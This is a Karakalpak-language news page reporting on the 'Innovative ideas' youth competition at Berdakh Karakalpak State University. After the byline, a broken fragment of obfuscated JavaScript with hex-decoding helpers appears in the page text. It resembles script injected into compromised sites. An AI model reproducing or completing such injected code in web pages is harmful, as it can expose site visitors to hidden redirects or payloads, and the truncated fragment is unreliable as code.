Еркин Қарақалпақстан Вести Каракалпакстана 21:40:52, 18.10.2019
Хош келипсиз! | RSS
Сайт мазмуны

Кириў усылы

ИННОВАЦИЯЛЫҚ ИДЕЯЛАРДЫҢ ИМКАНИЯТЛАРЫ

Бүгинги күни елимизде келешегимиз болған жаслардың тәлим-тәрбия алыўына айрықша итибар қаратылмақта. Соның ишинде илим ҳәм билимлендириў саласына қаратылып  атырған итибар ҳәм ғамқорлықтың нәтийжесинде жасларымыз халықаралық билимлер жарысларында, пән олимпиадаларында үлкен жетискенликлерди қолға киргизип келмекте. Бундай табыслардың тийкары болса, әйне илим ҳәм билимлендириў менен шуғылланып атырған жаслардың илимий-изертлеў жумысларын ҳәр тәреплеме  қоллап-қуўатлаў, оларды хошаметлеў менен де тығыз байланыслы.

Жақында Бердақ атындағы Қарақалпақ мәмлекетлик университетинде өткерилген «Инновациялық идеялар» аймақлық таңлаўы да жоқарыда келтирилген пикирлеримиздиң дәлили бола алады. Бул таңлаўдың тийкарғы мақсети — республикамыз халық хожалығының барлық тараўларын раўажландырыўға жасларымызды кеңнен тартыў, олардың зийреклиги, илимий потенциалы ҳәм күш- жигеринен үнемли пайдаланыў, техника ҳәм технологияларға болған қызығыўшылықларын қоллап-қуўатлаў, оларда интеллектуал ойлаў ҳәм дөретиўшилик қәбилетлерин раўажландырыўдан ибарат.

Өзбекистан Республикасы Президентиниң 2008-жыл 15-июльдеги «Инновациялық жойбарлар ҳәм технологияларды ислеп шығарыўға енгизиўди хошаметлеў бойынша ис-илажлар ҳаққында»ғы қарары бул бағдарда жаңа басқышты баслап берди. Мине, усы қарарға тийкарланған ҳалда Өзбекистан Республикасы Жоқары ҳәм орта арнаўлы билимлендириў министрлиги, Өзбекистан Илимлер академиясы, Өзбекистан Республикасы Министрлер Кабинети жанындағы илим ҳәм технологияларды раўажландырыўды муўапықластырыў комитети, Өзбекистан Кәсиплик аўқамлары федерациясы Кеңеси ҳәм «Камалат» жаслар жәмийетлик ҳәрекети орайлық Кеңеслериниң қоспа қарары тастыйықланып, бул тийкарда «Инновациялық идеялар» таңлаўы 6 бағдарлар бойынша өткерилиўи режелестирилген.

— Университетте өткерилип атырған бул таңлаўда қатнасыўшылар 35 жасқа шекемги жас алымлар, үлкен илимий хызметкер-излениўшилер ҳәм студент-жаслар өзлери изертлеў жумысларын алып барып атырған ҳәр бир тараў бойынша имканиятларын ҳәм дөретиўшилик қәбилетлерин әмелде және бир мәрте сыннан өткериў ҳәм олардың нәтийжелилигин әмелде қоллана алыў имканиятына ийе болды,-дейди университеттиң «Жас алымлар» кеңеси баслығы  Қайрат Низаматдинов.

Таңлаўда 70 тен аслам инновациялық исленбелер көргизбеге қойылды ҳәм экспертлер тәрепинен тийисли баҳаланып, ҳәр бир бағдар бойынша 1-2-3-орынларды ийелеген исленбе авторларына сертификат ҳәм саўғалар тапсырылды.

Р.АРЗИЕВ,

арнаўлы хабаршымыз.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "erkinkarakalpak.uz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Излеў

Көп оқылған мақалалар

Сыбайлас сайтлар

Қарақалпақстан Республикасы Жоқарғы Кеңеси ҳәм Министрлер Кеңесиниң газеталары.
Қарақалпақстан баспасөз ҳәм хабар агентлигинде 2007-жыл 7-февральда дизимге алынған. Гүўалық № 01-001
Developed by TUIT NF